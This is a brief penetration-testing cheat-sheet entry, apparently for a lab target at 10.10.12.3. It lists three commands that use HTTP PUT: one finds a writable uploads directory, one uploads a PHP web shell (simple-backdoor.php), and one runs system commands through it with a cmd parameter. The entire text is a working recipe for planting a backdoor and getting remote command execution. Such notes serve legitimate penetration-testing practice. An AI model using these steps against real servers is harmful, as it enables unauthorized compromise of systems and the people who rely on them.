HTTP PUT File Upload
Discover writable upload directory
curl -v http://10.10.12.3/uploads
Upload a webshell via PUT
curl http://10.10.12.3/uploads/ --upload-file /usr/share/webshells/php/simple-backdoor.php
Trigger via browser
firefox http://10.10.12.3/uploads/simple-backdoor.php?cmd=whoami